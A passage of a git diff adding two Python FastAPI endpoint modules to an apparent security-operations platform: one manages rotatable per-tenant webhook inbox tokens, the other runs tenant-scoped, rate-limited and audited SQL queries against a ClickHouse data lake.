diff --git a/services/api/app/api/v1/endpoints/inbox.py b/services/api/app/api/v1/endpoints/inbox.py
new file mode 100644
index 000000000..e12df7bfa
--- /dev/null
+++ b/services/api/app/api/v1/endpoints/inbox.py
@@ -0,0 +1,499 @@
+"""Tenant inbox token management — Workstream 6 (universal capture).
+
+For closed-proprietary tools that have neither a read API nor an OAuth
+flow, AiSOC mints a per-tenant, rotatable inbox URL. The customer
+points the vendor's existing webhook at that URL; ``services/ingest``
+resolves the token to a tenant + vendor template and reuses the
+existing OCSF normalizer + Kafka publisher.
+
+This module exposes the **operator-facing** half of that machinery —
+the management API the onboarding wizard calls when the user clicks the
+"Push (any vendor)" card. It does *not* receive vendor webhook traffic;
+that's the Go ``services/ingest`` service which reads ``tenant_inbox_tokens``
+directly from Postgres.
+
+Tenant scoping invariants:
+
+* Every read query filters on
+ ``TenantInboxToken.tenant_id == current_user.tenant_id``.
+* The list of valid ``template_id`` values is loaded from the ingest
+ service's template directory and validated server-side, so a malicious
+ client cannot register a token pointing at a non-existent template
+ (which would silently drop traffic on the floor).
+* Tokens never round-trip in audit logs — only the trailing 8 chars
+ (the "fingerprint") are emitted.
+"""
+
+from __future__ import annotations
+
+import logging
+import re
+import secrets
+import uuid
+from datetime import UTC, datetime
+from typing import Annotated
+
+from fastapi import APIRouter, Depends, HTTPException, status
+from pydantic import BaseModel, Field
+from sqlalchemy import select, update
+
+from app.api.v1.deps import AuthUser, require_permission
+from app.core.config import settings
+from app.db.rls import TenantDBSession
+from app.models.inbox import TenantInboxToken
+
+logger = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/inbox", tags=["inbox"])
+
+# Closed allowlist of template IDs the operator can reference. This must
+# stay in lock-step with the YAML files at
+# ``services/ingest/internal/normalizer/templates/*.yaml``. We treat it
+# as a hard list (rather than reading the FS at request time) because:
+#
+# * Adding a template is a code/release event, not a runtime config
+# change — operators shouldn't pick a template name that isn't shipped.
+# * The Go ingest service may be deployed independently; if a template
+# isn't shipped on the active version the URL silently drops events.
+# Validating at mint time turns that into a 400 instead of a black hole.
+#
+# Lower-cased and slugified to match the filename stem. Order is the
+# UI's "preferred display order" so the wizard can iterate this list
+# directly.
+ALLOWED_TEMPLATE_IDS: tuple[str, ...] = (
+ # P0 templates from the plan
+ "generic-json",
+ "pagerduty",
+ "opsgenie",
+ "microsoft-defender-email",
+ "aws-sns",
+ "aws-eventbridge",
+ "github-security-advisory",
+ "cloudflare-logpush",
+ # Universal-capture sidecars
+ "cef-syslog",
+ "splunk-hec",
+ "email-forwarded",
+)
+
+# Same character set as connector_type — tightens HMAC body shape.
+_LABEL_RE = re.compile(r"^[\w\-\. ]{1,255}$")
+
+
+def _generate_inbox_token() -> str:
+ """Return an opaque, URL-safe inbox token.
+
+ 32 bytes of entropy = ~256 bits, with the ``aitnb_`` prefix making
+ it grep-able in logs / SIEMs and immediately distinguishable from
+ other AiSOC token types (``aisoc_`` API keys, ``ait_`` per-connector
+ push tokens).
+ """
+ return f"aitnb_{secrets.token_urlsafe(32)}"
+
+
+def _fingerprint(token: str) -> str:
+ """Return last 8 chars of a token, safe to log."""
+ return f"...{token[-8:]}" if len(token) > 8 else "...<short>"
+
+
+def _build_inbox_url(token: str) -> str:
+ """Build the absolute inbox URL the customer pastes into the vendor."""
+ base = (getattr(settings, "INGEST_PUBLIC_URL", "") or "").rstrip("/")
+ return f"{base}/v1/inbox/{token}" if base else f"/v1/inbox/{token}"
+
+
+# ----------------------------------------------------------------- schemas
+
+
+class InboxTokenCreate(BaseModel):
+ """Request body for ``POST /api/v1/inbox/tokens``."""
+
+ template_id: str = Field(
+ ...,
+ description=(
+ "Vendor template stem from ``services/ingest/internal/normalizer/"
+ "templates/*.yaml`` (e.g. ``pagerduty``, ``generic-json``)."
+ ),
+ )
+ label: str | None = Field(
+ default=None,
+ description="Operator-facing label (\"PagerDuty on-call\").",
+ )
+ hmac_secret: str | None = Field(
+ default=None,
+ description=(
+ "Optional HMAC-SHA256 secret for ``X-Signature`` verification. "
+ "If provided, the ingest service rejects requests whose signature "
+ "doesn't match. NULL means the URL token is the only authenticator."
+ ),
+ min_length=16,
+ max_length=512,
+ )
+
+
+class InboxTokenResponse(BaseModel):
+ """A single inbox token, including the *plaintext* token + URL.
+
+ The token is returned in full **only** at mint time (when the wizard
+ needs to show it to the operator). Subsequent list calls return the
+ fingerprint instead, which is enough to identify the row but not
+ enough to forge inbound traffic.
+ """
+
+ token: str
+ inbox_url: str
+ template_id: str
+ label: str | None
+ has_hmac_secret: bool
+ created_at: datetime
+ revoked_at: datetime | None
+ last_used_at: datetime | None
+
+
+class InboxTokenListItem(BaseModel):
+ """List view: omits the plaintext token."""
+
+ fingerprint: str
+ template_id: str
+ label: str | None
+ has_hmac_secret: bool
+ created_at: datetime
+ revoked_at: datetime | None
+ last_used_at: datetime | None
+
+
+class InboxTemplateInfo(BaseModel):
+ """Catalog entry for a vendor template the operator can pick."""
+
+ template_id: str
+ label: str
+ description: str
+ category: str
+
+
+# Display metadata for each template. Same content the wizard renders;
+# kept here (not in the YAML) because the YAML is parsed by the Go
+# service and we don't want a cross-service schema dependency.
+_TEMPLATE_CATALOG: dict[str, dict[str, str]] = {
+ "generic-json": {
+ "label": "Generic JSON",
+ "description": (
+ "Forward arbitrary JSON. Best effort field mapping; use a "
+ "specific template below if your vendor is listed."
+ ),
+ "category": "generic",
+ },
+ "pagerduty": {
+ "label": "PagerDuty",
+ "description": "PagerDuty Events API v2 / webhook payload.",
+ "category": "alerting",
+ },
+ "opsgenie": {
+ "label": "Opsgenie",
+ "description": "Atlassian Opsgenie webhook payload.",
+ "category": "alerting",
+ },
+ "microsoft-defender-email": {
+ "label": "Microsoft Defender (email digest)",
+ "description": "Forward Defender alert email digests via SES/Mailgun.",
+ "category": "email",
+ },
+ "aws-sns": {
+ "label": "AWS SNS",
+ "description": "AWS SNS message subscription HTTPS endpoint.",
+ "category": "cloud",
+ },
+ "aws-eventbridge": {
+ "label": "AWS EventBridge",
+ "description": "EventBridge API destination payload.",
+ "category": "cloud",
+ },
+ "github-security-advisory": {
+ "label": "GitHub Security Advisory",
+ "description": "GitHub repo / org security advisory webhook.",
+ "category": "vcs",
+ },
+ "cloudflare-logpush": {
+ "label": "Cloudflare Logpush",
+ "description": "Cloudflare Logpush HTTP destination payload.",
+ "category": "network",
+ },
+ "cef-syslog": {
+ "label": "Syslog / CEF",
+ "description": "ArcSight Common Event Format over HTTPS.",
+ "category": "siem",
+ },
+ "splunk-hec": {
+ "label": "Splunk HEC-compatible",
+ "description": (
+ "Drop-in replacement for Splunk HTTP Event Collector. Re-target "
+ "any tool already pointed at Splunk HEC by changing the URL."
+ ),
+ "category": "siem",
+ },
+ "email-forwarded": {
+ "label": "Forwarded email",
+ "description": (
+ "Inbound webhook from Mailgun / SES routing rules. Useful for "
+ "vendors that only deliver alerts via email."
+ ),
+ "category": "email",
+ },
+}
+
+
+# ----------------------------------------------------------------- helpers
+
+
+def _to_response(row: TenantInboxToken, *, include_plaintext: bool) -> InboxTokenResponse:
+ """Convert an ORM row to the wire response.
+
+ ``include_plaintext`` is True only at mint time; everything else gets
+ the fingerprint via ``_to_list_item``.
+ """
+ return InboxTokenResponse(
+ token=row.token if include_plaintext else _fingerprint(row.token),
+ inbox_url=_build_inbox_url(row.token),
+ template_id=row.template_id,
+ label=row.label,
+ has_hmac_secret=row.hmac_secret is not None,
+ created_at=row.created_at,
+ revoked_at=row.revoked_at,
+ last_used_at=row.last_used_at,
+ )
+
+
+def _to_list_item(row: TenantInboxToken) -> InboxTokenListItem:
+ return InboxTokenListItem(
+ fingerprint=_fingerprint(row.token),
+ template_id=row.template_id,
+ label=row.label,
+ has_hmac_secret=row.hmac_secret is not None,
+ created_at=row.created_at,
+ revoked_at=row.revoked_at,
+ last_used_at=row.last_used_at,
+ )
+
+
+# ----------------------------------------------------------------- endpoints
+
+
[email protected]("/templates", response_model=list[InboxTemplateInfo])
+async def list_templates(
+ _user: Annotated[AuthUser, Depends(require_permission("connectors:read"))],
+) -> list[InboxTemplateInfo]:
+ """List the vendor templates the operator can mint inbox URLs for."""
+ return [
+ InboxTemplateInfo(
+ template_id=tid,
+ label=meta["label"],
+ description=meta["description"],
+ category=meta["category"],
+ )
+ for tid in ALLOWED_TEMPLATE_IDS
+ for meta in (_TEMPLATE_CATALOG.get(tid),)
+ if meta is not None
+ ]
+
+
[email protected]("/tokens", response_model=list[InboxTokenListItem])
+async def list_tokens(
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:read"))],
+ db: TenantDBSession,
+ include_revoked: bool = False,
+) -> list[InboxTokenListItem]:
+ """List the calling tenant's inbox tokens.
+
+ By default revoked rows are filtered — operators rarely want to
+ look at expired tokens, and showing them by default makes the
+ "rotate token" flow noisy.
+ """
+ stmt = select(TenantInboxToken).where(
+ TenantInboxToken.tenant_id == current_user.tenant_id
+ )
+ if not include_revoked:
+ stmt = stmt.where(TenantInboxToken.revoked_at.is_(None))
+ stmt = stmt.order_by(TenantInboxToken.created_at.desc())
+
+ result = await db.execute(stmt)
+ rows = result.scalars().all()
+ return [_to_list_item(row) for row in rows]
+
+
+ "/tokens",
+ response_model=InboxTokenResponse,
+ status_code=status.HTTP_201_CREATED,
+)
+async def mint_token(
+ body: InboxTokenCreate,
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:write"))],
+ db: TenantDBSession,
+) -> InboxTokenResponse:
+ """Mint a new inbox token for the calling tenant.
+
+ Returns the plaintext token + absolute URL exactly once. Subsequent
+ list/get calls return only the fingerprint.
+ """
+ if body.template_id not in ALLOWED_TEMPLATE_IDS:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"Unknown template_id; valid: {', '.join(ALLOWED_TEMPLATE_IDS)}",
+ )
+ if body.label is not None and not _LABEL_RE.match(body.label):
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail="label may contain alphanumerics, dash, dot, underscore, space",
+ )
+
+ token = _generate_inbox_token()
+ row = TenantInboxToken(
+ token=token,
+ tenant_id=current_user.tenant_id,
+ template_id=body.template_id,
+ label=body.label,
+ hmac_secret=body.hmac_secret,
+ created_at=datetime.now(UTC),
+ )
+ db.add(row)
+ await db.commit()
+ await db.refresh(row)
+
+ logger.info(
+ "tenant_inbox_token minted",
+ extra={
+ "tenant_id": str(current_user.tenant_id),
+ "template_id": body.template_id,
+ "token_fingerprint": _fingerprint(token),
+ "has_hmac": body.hmac_secret is not None,
+ },
+ )
+ return _to_response(row, include_plaintext=True)
+
+
[email protected]("/tokens/{token_fingerprint}/rotate", response_model=InboxTokenResponse)
+async def rotate_token(
+ token_fingerprint: str,
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:write"))],
+ db: TenantDBSession,
+) -> InboxTokenResponse:
+ """Mint a new token with the same template/label/hmac, revoke the old.
+
+ The wizard's "rotate" button calls this when a URL leaks. Old token
+ is marked revoked so the ingest service rejects requests for it
+ immediately; new plaintext token is returned for the operator to
+ paste into the vendor's webhook config.
+
+ We accept the fingerprint (not the full token) in the path so the
+ plaintext token never appears in logs / proxy access logs.
+ """
+ # Fingerprint is the trailing 8 chars; LIKE-search for it under the
+ # current tenant. Collisions across tenants are fine because we
+ # filter by tenant_id; collisions within a tenant are vanishingly
+ # unlikely (8 chars of base64 = ~48 bits) but if they ever happen
+ # we 409 rather than guessing.
+ suffix = token_fingerprint.lstrip(".")
+ if len(suffix) < 4 or len(suffix) > 16:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail="Invalid fingerprint",
+ )
+
+ result = await db.execute(
+ select(TenantInboxToken).where(
+ TenantInboxToken.tenant_id == current_user.tenant_id,
+ TenantInboxToken.token.like(f"%{suffix}"),
+ TenantInboxToken.revoked_at.is_(None),
+ )
+ )
+ matches = result.scalars().all()
+ if not matches:
+ raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Token not found")
+ if len(matches) > 1:
+ raise HTTPException(
+ status_code=status.HTTP_409_CONFLICT,
+ detail="Fingerprint collision; rotate the specific token via API",
+ )
+ old = matches[0]
+
+ new_token = _generate_inbox_token()
+ new_row = TenantInboxToken(
+ token=new_token,
+ tenant_id=current_user.tenant_id,
+ template_id=old.template_id,
+ label=old.label,
+ hmac_secret=old.hmac_secret,
+ created_at=datetime.now(UTC),
+ )
+ db.add(new_row)
+
+ await db.execute(
+ update(TenantInboxToken)
+ .where(TenantInboxToken.token == old.token)
+ .values(revoked_at=datetime.now(UTC))
+ )
+ await db.commit()
+ await db.refresh(new_row)
+
+ logger.info(
+ "tenant_inbox_token rotated",
+ extra={
+ "tenant_id": str(current_user.tenant_id),
+ "template_id": old.template_id,
+ "old_fingerprint": _fingerprint(old.token),
+ "new_fingerprint": _fingerprint(new_token),
+ },
+ )
+ return _to_response(new_row, include_plaintext=True)
+
+
[email protected]("/tokens/{token_fingerprint}", status_code=status.HTTP_204_NO_CONTENT, response_model=None)
+async def revoke_token(
+ token_fingerprint: str,
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:write"))],
+ db: TenantDBSession,
+) -> None:
+ """Permanently revoke an inbox token without minting a replacement.
+
+ The ingest service rejects revoked tokens; we keep the row so the
+ UI can still show "this token was revoked at X" in audit views.
+ """
+ suffix = token_fingerprint.lstrip(".")
+ if len(suffix) < 4 or len(suffix) > 16:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail="Invalid fingerprint",
+ )
+
+ result = await db.execute(
+ select(TenantInboxToken).where(
+ TenantInboxToken.tenant_id == current_user.tenant_id,
+ TenantInboxToken.token.like(f"%{suffix}"),
+ TenantInboxToken.revoked_at.is_(None),
+ )
+ )
+ matches = result.scalars().all()
+ if not matches:
+ raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Token not found")
+ if len(matches) > 1:
+ raise HTTPException(
+ status_code=status.HTTP_409_CONFLICT,
+ detail="Fingerprint collision; revoke the specific token via API",
+ )
+ target = matches[0]
+
+ await db.execute(
+ update(TenantInboxToken)
+ .where(TenantInboxToken.token == target.token)
+ .values(revoked_at=datetime.now(UTC))
+ )
+ await db.commit()
+
+ logger.info(
+ "tenant_inbox_token revoked",
+ extra={
+ "tenant_id": str(current_user.tenant_id),
+ "template_id": target.template_id,
+ "token_fingerprint": _fingerprint(target.token),
+ },
+ )
diff --git a/services/api/app/api/v1/endpoints/lake.py b/services/api/app/api/v1/endpoints/lake.py
new file mode 100644
index 000000000..9bdff6cac
--- /dev/null
+++ b/services/api/app/api/v1/endpoints/lake.py
@@ -0,0 +1,554 @@
+"""Tenant lake API endpoints — Workstream 7.
+
+Two surfaces:
+
+* ``POST /api/v1/lake/sql`` — execute a tenant-scoped SELECT against
+ the warm tier (ClickHouse). Untrusted SQL is parsed and rewritten by
+ :mod:`app.services.lake_sql` before it ever reaches the driver, so a
+ caller cannot escape their tenant or invoke DML/DDL.
+* ``GET /api/v1/lake/schema`` — return column metadata for the lake's
+ allowlisted tables so an operator (or an LLM) can author queries
+ without guessing column names.
+
+Layered defences (top to bottom):
+
+1. Authn + authz (``lake:query`` / ``lake:read_schema`` permission).
+2. Per-tenant token-bucket rate limiter
+ (:class:`app.services.lake_rate_limit.LakeRateLimiter`).
+3. SQL rewriter — single SELECT, allowlisted tables only,
+ ``tenant_id`` predicate injected, ``LIMIT`` clamped.
+4. ClickHouse client with hard server-side caps on time, memory,
+ threads, network egress.
+5. Audit log entry capturing referenced tables + row count + elapsed.
+
+The endpoints deliberately don't echo the rewritten SQL back to the
+caller. Doing so would let a curious operator infer the rewriter's
+exact behaviour (which is fine in our threat model) but it would also
+log the resolved tenant predicate to anyone with browser devtools open,
+which is needless leakage. The structured log line keeps it for
+operators who need to debug.
+"""
+
+from __future__ import annotations
+
+import logging
+import uuid
+from datetime import datetime
+from typing import Annotated, Any
+
+from fastapi import APIRouter, Depends, HTTPException, Request, Response, status
+from pydantic import BaseModel, Field
+
+from app.api.v1.deps import AuthUser, DBSession, require_permission
+from app.db.clickhouse import (
+ LakeQueryError,
+ LakeQueryNotConfiguredError,
+ LakeQueryTimeoutError,
+ execute_lake_query,
+ fetch_lake_schema,
+)
+from app.services.audit import emit_audit
+from app.services.lake_rate_limit import get_lake_rate_limiter
+from app.services.lake_sql import (
+ ALLOWED_TABLES,
+ DEFAULT_ROW_CAP,
+ MAX_ROW_CAP,
+ LakeSqlForbiddenError,
+ LakeSqlSyntaxError,
+ rewrite_for_tenant,
+)
+
+logger = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/lake", tags=["lake"])
+
+
+# Token cost for a SELECT execution. Schema reads are cheap so we
+# charge the bucket less for them — see ``_SCHEMA_COST`` below. These
+# constants intentionally live in the endpoint module rather than the
+# limiter because they're a *policy* decision (how much should each
+# call type cost?) not a *mechanism* decision (how does the bucket
+# refill?). The limiter exposes the mechanism; the endpoint owns the
+# pricing.
+_QUERY_COST: float = 1.0
+_SCHEMA_COST: float = 0.25
+
+
+# Default ClickHouse wall-clock cap for the lake API. The driver also
+# enforces ``max_execution_time``; this value is the asyncio-side
+# ceiling and is intentionally a hair higher than the driver setting
+# so we get the nicer server-side error message instead of a
+# TimeoutError.
+_DEFAULT_API_TIMEOUT_SECONDS: float = 30.0
+
+
+# ----------------------------------------------------------------- schemas
+
+
+class LakeQueryRequest(BaseModel):
+ """Request body for ``POST /api/v1/lake/sql``.
+
+ Only ``sql`` is required. ``row_cap`` lets an operator request a
+ smaller-than-default result set (e.g. for paginated UIs); the
+ rewriter clamps to :data:`MAX_ROW_CAP` regardless. ``timeout_seconds``
+ likewise lets the caller fail fast — useful for agent loops where a
+ 30-second hang would compound into a wall-clock budget overrun.
+ """
+
+ sql: str = Field(
+ ...,
+ min_length=1,
+ max_length=200_000,
+ description=(
+ "SELECT query to run against the warm tier. The server "
+ "enforces a single-statement, allowlisted-tables-only "
+ "policy and injects ``tenant_id`` predicates before "
+ "execution. Use ``GET /api/v1/lake/schema`` to discover "
+ f"available tables and columns. Allowed tables: "
+ f"{', '.join(sorted(ALLOWED_TABLES))}."
+ ),
+ )
+ row_cap: int | None = Field(
+ default=None,
+ ge=1,
+ le=MAX_ROW_CAP,
+ description=(
+ f"Optional ``LIMIT`` clamp; defaults to {DEFAULT_ROW_CAP}, "
+ f"hard-capped at {MAX_ROW_CAP}."
+ ),
+ )
+ timeout_seconds: float | None = Field(
+ default=None,
+ gt=0,
+ le=60.0,
+ description=(
+ "Optional wall-clock cap. Defaults to the server cap "
+ "(30s). Useful for agent loops that need to fail fast."
+ ),
+ )
+
+
+class LakeQueryResponse(BaseModel):
+ """Response body for ``POST /api/v1/lake/sql``.
+
+ ``referenced_tables`` is the set of allowlisted tables the
+ rewriter actually touched — it's surfaced for clients that want
+ to flag "you queried raw_events" in a UI without re-parsing the
+ SQL themselves.
+ """
+
+ columns: list[str]
+ rows: list[list[Any]]
+ row_count: int
+ row_cap: int
+ referenced_tables: list[str]
+ elapsed_ms: int
+ executed_at: datetime
+
+
+class LakeColumnInfo(BaseModel):
+ """One column within a lake table."""
+
+ name: str
+ type: str
+ comment: str = ""
+
+
+class LakeTableInfo(BaseModel):
+ """One allowlisted lake table, with its columns."""
+
+ table: str
+ columns: list[LakeColumnInfo]
+
+
+class LakeSchemaResponse(BaseModel):
+ """Response body for ``GET /api/v1/lake/schema``.
+
+ Wraps the table list in an envelope so we can extend the response
+ later (e.g. with retention info or row-count estimates) without a
+ breaking change.
+ """
+
+ tables: list[LakeTableInfo]
+
+
+# ----------------------------------------------------------------- helpers
+
+
+async def _acquire_or_429(
+ *,
+ response: Response,
+ tenant_id: uuid.UUID,
+ cost: float,
+) -> None:
+ """Charge the bucket; raise HTTP 429 if over budget.
+
+ Stamps ``X-RateLimit-*`` headers on ``response`` for both the
+ allowed and the denied paths so a client always knows where it
+ stands. The denied path raises ``HTTPException(429)`` with the
+ same headers reused on the error envelope.
+ """
+ limiter = get_lake_rate_limiter()
+ decision = await limiter.acquire(tenant_id, cost=cost)
+
+ headers = decision.to_headers()
+ for name, value in headers.items():
+ response.headers[name] = value
+
+ if not decision.allowed:
+ # We log denials at INFO so a noisy tenant shows up in
+ # standard ops dashboards without flooding ERROR.
+ logger.info(
+ "lake.rate_limited tenant_id=%s cost=%.2f remaining=%.2f retry_after=%.2fs",
+ tenant_id,
+ cost,
+ decision.remaining,
+ decision.retry_after_seconds,
+ )
+ raise HTTPException(
+ status_code=status.HTTP_429_TOO_MANY_REQUESTS,
+ detail="lake API rate limit exceeded",
+ headers=headers,
+ )
+
+
+def _scrub_sql_for_log(sql: str, *, max_chars: int = 4_000) -> str:
+ """Return a length-bounded version of ``sql`` for structured logs.
+
+ The lake accepts up to 200 KB SQL per request; logging that
+ verbatim would spam the ops pipeline. We trim to ~4 KB which is
+ plenty for debugging while staying inside per-record limits on
+ most log backends.
+ """
+ if len(sql) <= max_chars:
+ return sql
+ return f"{sql[:max_chars]}…<truncated {len(sql) - max_chars} chars>"
+
+
+# ----------------------------------------------------------------- endpoints
+
+
+ "/sql",
+ response_model=LakeQueryResponse,
+ status_code=status.HTTP_200_OK,
+)
+async def execute_lake_sql(
+ body: LakeQueryRequest,
+ response: Response,
+ request: Request,
+ current_user: Annotated[AuthUser, Depends(require_permission("lake:query"))],
+ db: DBSession,
+) -> LakeQueryResponse:
+ """Run a tenant-scoped SELECT against the warm tier.
+
+ Pipeline:
+
+ 1. Rate-limit the tenant.
+ 2. Rewrite the SQL — adds ``tenant_id`` predicates and clamps
+ ``LIMIT``. Errors here are 400 (syntax) or 403 (forbidden).
+ 3. Execute against ClickHouse with the configured timeout +
+ resource caps. Errors here are 502 (driver/server error),
+ 422 (timeout / memory limit), or 503 (driver not configured).
+ 4. Audit-log the call. We record the rewriter's view of the
+ query (referenced tables, effective row cap) rather than the
+ raw SQL, because audit logs are user-facing and we don't want
+ to round-trip a malformed or PII-laden SQL string into the
+ compliance UI.
+ """
+ await _acquire_or_429(
+ response=response,
+ tenant_id=current_user.tenant_id,
+ cost=_QUERY_COST,
+ )
+
+ # ---- Step 1: rewrite ------------------------------------------------
+ try:
+ rewrite = rewrite_for_tenant(
+ body.sql,
+ current_user.tenant_id,
+ row_cap=body.row_cap,
+ )
+ except LakeSqlForbiddenError as exc:
+ # Operator wrote real SQL but it violated policy (DML, DDL,
+ # non-allowlisted table, table function). 403 conveys that
+ # this is an authorisation outcome, not a typo.
+ logger.info(
+ "lake.sql.forbidden tenant_id=%s user=%s reason=%s sql=%r",
+ current_user.tenant_id,
+ current_user.email,
+ exc,
+ _scrub_sql_for_log(body.sql),
+ )
+ # Best-effort audit: failed access attempt is worth a row.
+ await _audit_query_attempt(
+ db=db,
+ tenant_id=current_user.tenant_id,
+ user_id=current_user.user_id,
+ user_email=current_user.email,
+ request=request,
+ outcome="forbidden",
+ reason=str(exc),
+ )
+ raise HTTPException(
+ status_code=status.HTTP_403_FORBIDDEN,
+ detail=f"lake SQL forbidden: {exc}",
+ ) from exc
+ except LakeSqlSyntaxError as exc:
+ logger.info(
+ "lake.sql.syntax_error tenant_id=%s user=%s reason=%s",
+ current_user.tenant_id,
+ current_user.email,
+ exc,
+ )
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"lake SQL invalid: {exc}",
+ ) from exc
+
+ # ---- Step 2: execute ------------------------------------------------
+ try:
+ result = await execute_lake_query(
+ rewrite.sql,
+ timeout_seconds=body.timeout_seconds or _DEFAULT_API_TIMEOUT_SECONDS,
+ )
+ except LakeQueryNotConfiguredError as exc:
+ # 503 not 500 — this is a deployment-level problem (operator
+ # forgot to set CLICKHOUSE_HOST), not a programmer-level bug.
+ logger.error(
+ "lake.sql.not_configured tenant_id=%s reason=%s",
+ current_user.tenant_id,
+ exc,
+ )
+ raise HTTPException(
+ status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
+ detail="lake backend not configured",
+ ) from exc
+ except LakeQueryTimeoutError as exc:
+ logger.warning(
+ "lake.sql.timeout tenant_id=%s user=%s tables=%s",
+ current_user.tenant_id,
+ current_user.email,
+ sorted(rewrite.referenced_tables),
+ )
+ await _audit_query_attempt(
+ db=db,
+ tenant_id=current_user.tenant_id,
+ user_id=current_user.user_id,
+ user_email=current_user.email,
+ request=request,
+ outcome="timeout",
+ reason=str(exc),
+ referenced_tables=sorted(rewrite.referenced_tables),
+ )
+ raise HTTPException(
+ status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
+ detail=f"lake query timed out: {exc}",
+ ) from exc
+ except LakeQueryError as exc:
+ # Generic ClickHouse failure (syntax it didn't like, memory
+ # limit, etc.). 502 conveys "we tried, the backend complained".
+ logger.warning(
+ "lake.sql.backend_error tenant_id=%s user=%s reason=%s",
+ current_user.tenant_id,
+ current_user.email,
+ exc,
+ )
+ await _audit_query_attempt(
+ db=db,
+ tenant_id=current_user.tenant_id,
+ user_id=current_user.user_id,
+ user_email=current_user.email,
+ request=request,
+ outcome="backend_error",
+ reason=str(exc),
+ referenced_tables=sorted(rewrite.referenced_tables),
+ )
+ raise HTTPException(
+ status_code=status.HTTP_502_BAD_GATEWAY,
+ detail=f"lake backend error: {exc}",
+ ) from exc
+
+ # ---- Step 3: success path -----------------------------------------
+ logger.info(
+ "lake.sql.ok tenant_id=%s user=%s tables=%s rows=%d elapsed_ms=%d",
+ current_user.tenant_id,
+ current_user.email,
+ sorted(rewrite.referenced_tables),
+ result.row_count,
+ result.elapsed_ms,
+ )
+ await _audit_query_attempt(
+ db=db,
+ tenant_id=current_user.tenant_id,
+ user_id=current_user.user_id,
+ user_email=current_user.email,
+ request=request,
+ outcome="ok",
+ referenced_tables=sorted(rewrite.referenced_tables),
+ row_count=result.row_count,
+ elapsed_ms=result.elapsed_ms,
+ row_cap=rewrite.row_cap,
+ )
+
+ return LakeQueryResponse(
+ columns=result.columns,
+ rows=result.rows,
+ row_count=result.row_count,
+ row_cap=rewrite.row_cap,
+ referenced_tables=sorted(rewrite.referenced_tables),
+ elapsed_ms=result.elapsed_ms,
+ executed_at=datetime.utcnow(),
+ )
+
+
+ "/schema",
+ response_model=LakeSchemaResponse,
+ status_code=status.HTTP_200_OK,
+)
+async def get_lake_schema(
+ response: Response,
+ request: Request,
+ current_user: Annotated[
+ AuthUser, Depends(require_permission("lake:read_schema"))
+ ],
+ db: DBSession,
+) -> LakeSchemaResponse:
+ """Return column metadata for the lake's allowlisted tables.
+
+ Schema discovery is read-only and never returns row data, so it's
+ safe to grant to roles that should not be allowed to execute
+ SELECTs (``viewer`` has ``lake:read_schema`` but not
+ ``lake:query``). The response is also tenant-independent —
+ everyone sees the same columns — but we still rate-limit and
+ audit-log it so noisy clients can't drum the endpoint into a DoS.
+ """
+ await _acquire_or_429(
+ response=response,
+ tenant_id=current_user.tenant_id,
+ cost=_SCHEMA_COST,
+ )
+
+ try:
+ raw = await fetch_lake_schema()
+ except LakeQueryNotConfiguredError as exc:
+ logger.error(
+ "lake.schema.not_configured tenant_id=%s reason=%s",
+ current_user.tenant_id,
+ exc,
+ )
+ raise HTTPException(
+ status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
+ detail="lake backend not configured",
+ ) from exc
+ except LakeQueryTimeoutError as exc:
+ logger.warning(
+ "lake.schema.timeout tenant_id=%s reason=%s",
+ current_user.tenant_id,
+ exc,
+ )
+ raise HTTPException(
+ status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
+ detail=f"lake schema lookup timed out: {exc}",
+ ) from exc
+ except LakeQueryError as exc:
+ logger.warning(
+ "lake.schema.backend_error tenant_id=%s reason=%s",
+ current_user.tenant_id,
+ exc,
+ )
+ raise HTTPException(
+ status_code=status.HTTP_502_BAD_GATEWAY,
+ detail=f"lake backend error: {exc}",
+ ) from exc
+
+ tables = [
+ LakeTableInfo(
+ table=entry["table"],
+ columns=[
+ LakeColumnInfo(
+ name=col["name"],
+ type=col["type"],
+ comment=col.get("comment", ""),
+ )
+ for col in entry.get("columns", [])
+ ],
+ )
+ for entry in raw
+ ]
+
+ logger.info(
+ "lake.schema.ok tenant_id=%s user=%s tables=%d",
+ current_user.tenant_id,
+ current_user.email,
+ len(tables),
+ )
+
+ # Schema reads are deliberately *not* audit-logged on the success
+ # path — they reveal no tenant data and would otherwise dominate
+ # the audit_log table with low-signal rows. Failed lookups are
+ # already logged at WARN above; that's the operator-facing
+ # signal. If compliance later wants schema access logged, the
+ # audit helper below is symmetrical to the SQL path and easy to
+ # call here as well.
+
+ return LakeSchemaResponse(tables=tables)
+
+
+# ----------------------------------------------------------------- audit
+
+
+async def _audit_query_attempt(
+ *,
+ db: Any,
+ tenant_id: uuid.UUID,
+ user_id: uuid.UUID,
+ user_email: str,
+ request: Request,
+ outcome: str,
+ reason: str | None = None,
+ referenced_tables: list[str] | None = None,
+ row_count: int | None = None,
+ elapsed_ms: int | None = None,
+ row_cap: int | None = None,
+) -> None:
+ """Emit one ``audit_log`` row for a lake query attempt.
+
+ We log denials and timeouts as well as successes because
+ compliance auditors expect to see a row per access attempt
+ against analyst-facing data, not just successful reads. The
+ ``changes`` payload carries the structured details — referenced
+ tables, row count, elapsed — without including the raw SQL,
+ which can be very large and may quote operator-typed values that
+ aren't safe to surface in a compliance UI.
+ """
+ try:
+ await emit_audit(
+ db=db,
+ tenant_id=tenant_id,
+ actor_id=user_id,
+ actor_email=user_email,
+ action="lake.query",
+ resource="lake",
+ resource_id=None,
+ changes={
+ "outcome": outcome,
+ "reason": reason,
+ "referenced_tables": referenced_tables or [],
+ "row_count": row_count,
+ "elapsed_ms": elapsed_ms,
+ "row_cap": row_cap,
+ },
+ request=request,
+ )
+ except Exception as exc: # noqa: BLE001 — audit must never fail the call
